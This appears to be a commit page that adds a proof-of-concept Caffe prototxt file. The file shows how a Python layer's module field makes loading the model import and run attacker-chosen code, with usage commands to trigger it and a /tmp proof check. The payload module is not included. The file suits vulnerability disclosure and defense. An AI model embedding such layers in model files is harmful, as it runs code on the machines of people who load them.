0xiviel commited on
Commit
f12fbe8
·
verified ·
1 Parent(s): 6edd0ae

Add poc_rce.prototxt

Browse files
Files changed (1) hide show
  1. poc_rce.prototxt +44 -0
poc_rce.prototxt ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # PoC: Caffe PythonLayer Arbitrary Code Execution
2
+ # ================================================
3
+ # Loading this .prototxt with a Caffe build that has WITH_PYTHON_LAYER=1
4
+ # triggers arbitrary Python code execution via module import.
5
+ #
6
+ # Vulnerability: layer_factory.cpp:295
7
+ # bp::import(param.python_param().module().c_str())
8
+ #
9
+ # The "module" field specifies a Python module name that gets imported
10
+ # via boost::python. The import mechanism executes all top-level code
11
+ # in the module, giving the attacker arbitrary code execution.
12
+ #
13
+ # Usage:
14
+ # cd /path/to/this/directory # so Python finds evil_layer.py
15
+ # caffe test -model poc_rce.prototxt -iterations 1 2>/dev/null
16
+ # cat /tmp/caffe_rce_proof.txt # verify RCE
17
+ #
18
+ # Or from Python:
19
+ # import caffe
20
+ # net = caffe.Net('poc_rce.prototxt', caffe.TEST)
21
+
22
+ name: "PoCExploitNet"
23
+
24
+ layer {
25
+ name: "data"
26
+ type: "DummyData"
27
+ top: "data"
28
+ dummy_data_param {
29
+ shape { dim: 1 dim: 1 dim: 1 dim: 1 }
30
+ }
31
+ }
32
+
33
+ layer {
34
+ name: "exploit"
35
+ type: "Python"
36
+ bottom: "data"
37
+ top: "output"
38
+ python_param {
39
+ # This module name is passed directly to bp::import()
40
+ # Python's import mechanism executes top-level code in the module
41
+ module: "evil_layer"
42
+ layer: "ExploitLayer"
43
+ }
44
+ }